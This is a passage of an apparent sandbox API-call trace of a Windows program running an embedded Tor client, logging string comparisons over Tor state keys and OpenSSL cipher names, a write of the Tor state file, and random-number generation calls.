strlen (_Str="BWHistoryReadInterval") returned 0x15 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryReadValues") returned 0x13 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryReadMaxima") returned 0x13 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryWriteEnds") returned 0x12 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryWriteInterval") returned 0x16 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryWriteValues") returned 0x14 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryWriteMaxima") returned 0x14 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirReadEnds") returned 0x14 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirReadInterval") returned 0x18 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirReadValues") returned 0x16 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirReadMaxima") returned 0x16 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirWriteEnds") returned 0x15 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirWriteInterval") returned 0x19 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirWriteValues") returned 0x17 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryDirWriteMaxima") returned 0x17 [0115.834] strncmp (_Str1="To", _Str2="__", _MaxCount=0x2) returned -11 [0115.834] strlen (_Str="TorVersion") returned 0xa [0115.835] strncmp (_Str1="La", _Str2="__", _MaxCount=0x2) returned -19 [0115.835] strlen (_Str="LastRotatedOnionKey") returned 0x13 [0115.835] strncmp (_Str1="La", _Str2="__", _MaxCount=0x2) returned -19 [0115.835] strlen (_Str="LastWritten") returned 0xb [0115.835] gmtime (param_1=0x36f2d8) returned 0x841688 [0115.835] strftime (in: _Buf=0x8410c0, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:35") returned 0x13 [0115.835] strlen (_Str="LastWritten") returned 0xb [0115.835] gmtime (param_1=0x36f318) returned 0x841688 [0115.835] strftime (in: _Buf=0x8410c0, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:35") returned 0x13 [0115.835] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="%s%s %s\n", _ArgList=0x36f3e8 | out: _DstBuf=0x0) returned 32 [0115.835] strncmp (_Str1="To", _Str2="__", _MaxCount=0x2) returned -11 [0115.835] strlen (_Str="TotalBuildTimes") returned 0xf [0115.835] strncmp (_Str1="Ci", _Str2="__", _MaxCount=0x2) returned -28 [0115.835] strlen (_Str="CircuitBuildAbandonedCount") returned 0x1a [0115.835] strncmp (_Str1="Bu", _Str2="__", _MaxCount=0x2) returned -29 [0115.835] strlen (_Str="BuildtimeHistogram") returned 0x12 [0115.835] strftime (in: _Buf=0x36f4b8, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-22 01:35:35") returned 0x13 [0115.835] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="# Tor state file last generated on %s local time\n# Other times below are in UTC\n# You *do not* need to edit this file.\n\n%s", _ArgList=0x36f478 | out: _DstBuf=0x0) returned 215 [0115.835] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state.tmp" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\state.tmp"), _OpenFlag=17153) returned 4 [0115.835] _write (in: _FileHandle=4, _Buf=0x852b60*, _MaxCharCount=0xd7 | out: _Buf=0x852b60*) returned 215 [0115.836] _close (_FileHandle=4) returned 0 [0115.836] strcmp (_Str1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state", _Str2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state.tmp") returned -1 [0115.836] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state", _Stat=0x36f218 | out: _Stat=0x36f218) returned -1 [0115.836] rename (_OldFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state.tmp", _NewFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state") returned 0 [0115.841] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\router-stability" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\router-stability"), _OpenFlag=16384) returned -1 [0115.841] _errno () returned 0x9f07d8 [0115.841] _errno () returned 0x9f07d8 [0115.841] _errno () returned 0x9f07d8 [0115.841] strerror (param_1=2) returned="No such file or directory" [0115.841] _errno () returned 0x9f07d8 [0115.841] htonl (hostlong=0x7fc00000) returned 0xc07f [0115.841] strtol (in: _Str="10", _EndPtr=0x36f480, _Radix=10 | out: _EndPtr=0x36f480*="") returned 10 [0115.841] strtol (in: _Str="FE80::", _EndPtr=0x36f3e0, _Radix=16 | out: _EndPtr=0x36f3e0*="::") returned 65152 [0115.842] strtol (in: _Str="10", _EndPtr=0x36f480, _Radix=10 | out: _EndPtr=0x36f480*="") returned 10 [0115.842] fopen (_Filename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\geoip" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\geoip"), _Mode="r") returned 0x0 [0115.842] fopen (_Filename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\geoip6" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\geoip6"), _Mode="r") returned 0x0 [0115.842] CryptAcquireContextA (in: phProv=0x742731d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x742731d4*=0x7750b0) returned 1 [0115.842] CryptGenRandom (in: hProv=0x7750b0, dwLen=0x20, pbBuffer=0x36f56c | out: pbBuffer=0x36f56c) returned 1 [0115.843] CryptGenRandom (in: hProv=0x7750b0, dwLen=0x20, pbBuffer=0x36f4bc | out: pbBuffer=0x36f4bc) returned 1 [0115.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5b8 | out: lpSystemTimeAsFileTime=0x36f5b8*(dwLowDateTime=0x3b928a10, dwHighDateTime=0x1d31ac1)) [0116.052] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.052] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.052] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.052] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.052] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.052] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.052] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.052] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.053] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="AEC", _MaxCount=0x3) returned 7 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="AES", _MaxCount=0x3) returned 7 [0116.053] strncmp (_Str1="ALL", _Str2="AES", _MaxCount=0x3) returned 7 [0116.053] strncmp (_Str1="ALL", _Str2="AES", _MaxCount=0x3) returned 7 [0116.053] strncmp (_Str1="ALL", _Str2="CAM", _MaxCount=0x3) returned -2 [0116.053] strncmp (_Str1="ALL", _Str2="PSK", _MaxCount=0x3) returned -15 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.053] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.053] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="DHE", _MaxCount=0x3) returned -3 [0116.053] strncmp (_Str1="ALL", _Str2="AEC", _MaxCount=0x3) returned 7 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.053] strncmp (_Str1="ALL", _Str2="AES", _MaxCount=0x3) returned 7 [0116.054] strncmp (_Str1="ALL", _Str2="AES", _MaxCount=0x3) returned 7 [0116.054] strncmp (_Str1="ALL", _Str2="AES", _MaxCount=0x3) returned 7 [0116.054] strncmp (_Str1="ALL", _Str2="SEE", _MaxCount=0x3) returned -18 [0116.054] strncmp (_Str1="ALL", _Str2="CAM", _MaxCount=0x3) returned -2 [0116.054] strncmp (_Str1="ALL", _Str2="IDE", _MaxCount=0x3) returned -8 [0116.054] strncmp (_Str1="ALL", _Str2="PSK", _MaxCount=0x3) returned -15 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="AEC", _MaxCount=0x3) returned 7 [0116.054] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="RC4", _MaxCount=0x3) returned -17 [0116.054] strncmp (_Str1="ALL", _Str2="RC4", _MaxCount=0x3) returned -17 [0116.054] strncmp (_Str1="ALL", _Str2="PSK", _MaxCount=0x3) returned -15 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.054] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.054] strncmp (_Str1="ALL", _Str2="SRP", _MaxCount=0x3) returned -18 [0116.054] strncmp (_Str1="ALL", _Str2="EDH", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="EDH", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="AEC", _MaxCount=0x3) returned 7 [0116.054] strncmp (_Str1="ALL", _Str2="ADH", _MaxCount=0x3) returned 8 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="DES", _MaxCount=0x3) returned -3 [0116.054] strncmp (_Str1="ALL", _Str2="PSK", _MaxCount=0x3) returned -15 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="AEC", _MaxCount=0x3) returned 7 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="ECD", _MaxCount=0x3) returned -4 [0116.054] strncmp (_Str1="ALL", _Str2="NUL", _MaxCount=0x3) returned -13 [0116.054] strncmp (_Str1="ALL", _Str2="NUL", _MaxCount=0x3) returned -13 [0116.054] strncmp (_Str1="ALL", _Str2="NUL", _MaxCount=0x3) returned -13 [0116.054] strncmp (_Str1="ALL", _Str2="ALL", _MaxCount=0x3) returned 0 [0116.054] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.054] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.054] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.054] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.054] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.054] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.054] strncmp (_Str1="EXPORT", _Str2="SRP-DS", _MaxCount=0x6) returned -14 [0116.054] strncmp (_Str1="EXPORT", _Str2="SRP-RS", _MaxCount=0x6) returned -14 [0116.054] strncmp (_Str1="EXPORT", _Str2="SRP-AE", _MaxCount=0x6) returned -14 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.054] strncmp (_Str1="EXPORT", _Str2="AECDH-", _MaxCount=0x6) returned 4 [0116.054] strncmp (_Str1="EXPORT", _Str2="ADH-AE", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-AE", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-AE", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-CA", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="AES256", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="AES256", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="AES256", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="CAMELL", _MaxCount=0x6) returned 2 [0116.055] strncmp (_Str1="EXPORT", _Str2="PSK-AE", _MaxCount=0x6) returned -11 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="SRP-DS", _MaxCount=0x6) returned -14 [0116.055] strncmp (_Str1="EXPORT", _Str2="SRP-RS", _MaxCount=0x6) returned -14 [0116.055] strncmp (_Str1="EXPORT", _Str2="SRP-AE", _MaxCount=0x6) returned -14 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-RS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="DHE-DS", _MaxCount=0x6) returned 1 [0116.055] strncmp (_Str1="EXPORT", _Str2="AECDH-", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-AE", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-AE", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-AE", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-SE", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ADH-CA", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.055] strncmp (_Str1="EXPORT", _Str2="AES128", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="AES128", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="AES128", _MaxCount=0x6) returned 4 [0116.055] strncmp (_Str1="EXPORT", _Str2="SEED-S", _MaxCount=0x6) returned -14 [0116.055] strncmp (_Str1="EXPORT", _Str2="CAMELL", _MaxCount=0x6) returned 2 [0116.055] strncmp (_Str1="EXPORT", _Str2="IDEA-C", _MaxCount=0x6) returned -4 [0116.055] strncmp (_Str1="EXPORT", _Str2="PSK-AE", _MaxCount=0x6) returned -11 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="AECDH-", _MaxCount=0x6) returned 4 [0116.056] strncmp (_Str1="EXPORT", _Str2="ADH-RC", _MaxCount=0x6) returned 4 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="RC4-SH", _MaxCount=0x6) returned -13 [0116.056] strncmp (_Str1="EXPORT", _Str2="RC4-MD", _MaxCount=0x6) returned -13 [0116.056] strncmp (_Str1="EXPORT", _Str2="PSK-RC", _MaxCount=0x6) returned -11 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="SRP-DS", _MaxCount=0x6) returned -14 [0116.056] strncmp (_Str1="EXPORT", _Str2="SRP-RS", _MaxCount=0x6) returned -14 [0116.056] strncmp (_Str1="EXPORT", _Str2="SRP-3D", _MaxCount=0x6) returned -14 [0116.056] strncmp (_Str1="EXPORT", _Str2="EDH-RS", _MaxCount=0x6) returned 20 [0116.056] strncmp (_Str1="EXPORT", _Str2="EDH-DS", _MaxCount=0x6) returned 20 [0116.056] strncmp (_Str1="EXPORT", _Str2="AECDH-", _MaxCount=0x6) returned 4 [0116.056] strncmp (_Str1="EXPORT", _Str2="ADH-DE", _MaxCount=0x6) returned 4 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="DES-CB", _MaxCount=0x6) returned 1 [0116.056] strncmp (_Str1="EXPORT", _Str2="PSK-3D", _MaxCount=0x6) returned -11 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDHE-", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="AECDH-", _MaxCount=0x6) returned 4 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDH-R", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDH-E", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="NULL-S", _MaxCount=0x6) returned -9 [0116.056] strncmp (_Str1="EXPORT", _Str2="NULL-S", _MaxCount=0x6) returned -9 [0116.056] strncmp (_Str1="EXPORT", _Str2="NULL-M", _MaxCount=0x6) returned -9 [0116.056] strncmp (_Str1="EXPORT", _Str2="ALL", _MaxCount=0x6) returned 4 [0116.056] strncmp (_Str1="EXPORT", _Str2="COMPLE", _MaxCount=0x6) returned 2 [0116.056] strncmp (_Str1="EXPORT", _Str2="COMPLE", _MaxCount=0x6) returned 2 [0116.056] strncmp (_Str1="EXPORT", _Str2="kRSA", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="kEDH", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="DH", _MaxCount=0x6) returned 1 [0116.056] strncmp (_Str1="EXPORT", _Str2="kECDHr", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="kECDHe", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="kECDH", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="kEECDH", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="ECDH", _MaxCount=0x6) returned 21 [0116.056] strncmp (_Str1="EXPORT", _Str2="kPSK", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="kSRP", _MaxCount=0x6) returned -38 [0116.056] strncmp (_Str1="EXPORT", _Str2="aRSA", _MaxCount=0x6) returned -28 [0116.057] strncmp (_Str1="EXPORT", _Str2="aDSS", _MaxCount=0x6) returned -28 [0116.057] strncmp (_Str1="EXPORT", _Str2="DSS", _MaxCount=0x6) returned 1 [0116.057] strncmp (_Str1="EXPORT", _Str2="aNULL", _MaxCount=0x6) returned -28 [0116.057] strncmp (_Str1="EXPORT", _Str2="aECDH", _MaxCount=0x6) returned -28 [0116.057] strncmp (_Str1="EXPORT", _Str2="aECDSA", _MaxCount=0x6) returned -28 [0116.057] strncmp (_Str1="EXPORT", _Str2="ECDSA", _MaxCount=0x6) returned 21 [0116.057] strncmp (_Str1="EXPORT", _Str2="aPSK", _MaxCount=0x6) returned -28 [0116.057] strncmp (_Str1="EXPORT", _Str2="aSRP", _MaxCount=0x6) returned -28 [0116.057] strncmp (_Str1="EXPORT", _Str2="EDH", _MaxCount=0x6) returned 20 [0116.057] strncmp (_Str1="EXPORT", _Str2="EECDH", _MaxCount=0x6) returned 19 [0116.057] strncmp (_Str1="EXPORT", _Str2="NULL", _MaxCount=0x6) returned -9 [0116.057] strncmp (_Str1="EXPORT", _Str2="RSA", _MaxCount=0x6) returned -13 [0116.057] strncmp (_Str1="EXPORT", _Str2="ADH", _MaxCount=0x6) returned 4 [0116.057] strncmp (_Str1="EXPORT", _Str2="AECDH", _MaxCount=0x6) returned 4 [0116.057] strncmp (_Str1="EXPORT", _Str2="PSK", _MaxCount=0x6) returned -11 [0116.057] strncmp (_Str1="EXPORT", _Str2="SRP", _MaxCount=0x6) returned -14 [0116.057] strncmp (_Str1="EXPORT", _Str2="DES", _MaxCount=0x6) returned 1 [0116.057] strncmp (_Str1="EXPORT", _Str2="3DES", _MaxCount=0x6) returned 18 [0116.057] strncmp (_Str1="EXPORT", _Str2="RC4", _MaxCount=0x6) returned -13 [0116.057] strncmp (_Str1="EXPORT", _Str2="RC2", _MaxCount=0x6) returned -13 [0116.057] strncmp (_Str1="EXPORT", _Str2="IDEA", _MaxCount=0x6) returned -4 [0116.057] strncmp (_Str1="EXPORT", _Str2="SEED", _MaxCount=0x6) returned -14 